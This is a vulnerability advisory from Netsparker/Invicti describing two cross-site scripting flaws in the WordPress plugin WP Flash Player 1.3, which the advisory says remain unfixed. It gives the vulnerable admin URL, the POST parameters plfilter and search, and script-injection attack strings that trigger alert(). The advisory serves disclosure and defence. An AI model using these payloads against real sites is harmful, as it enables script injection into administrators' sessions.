Multiple Cross-site Scripting Vulnerabilities in WP Flash Player 1.3
Information
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in WP Flash Player 1.3
Affected Software: WP Flash Player 1.3
Affected Versions: 1.3 and possibly below
Vendor Homepage: https://wordpress.org/plugins/wp-flash-player/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-15-009
Technical Details
Proof of Concept URLs for XSS in WP Flash Player 1.3:
- URL: http://example.com/wordpress/wp-admin/admin.php?page=hdflv
Parameter Name: plfilter
Parameter Type: POST
Attack Pattern: 0'"--></style></scRipt><scRipt>alert(0x000862)</scRipt> - URL: http://example.com/wordpress/wp-admin/admin.php?page=hdflv
Parameter Name: search
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0007DE)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
17/03/2015 – First Contact
01/06/2015 – Second Contact
30/06/2015 – Third Contact
15/07/2015 – Advisory Released
Solution
The vulnerabilities have not been fixed by the developer.
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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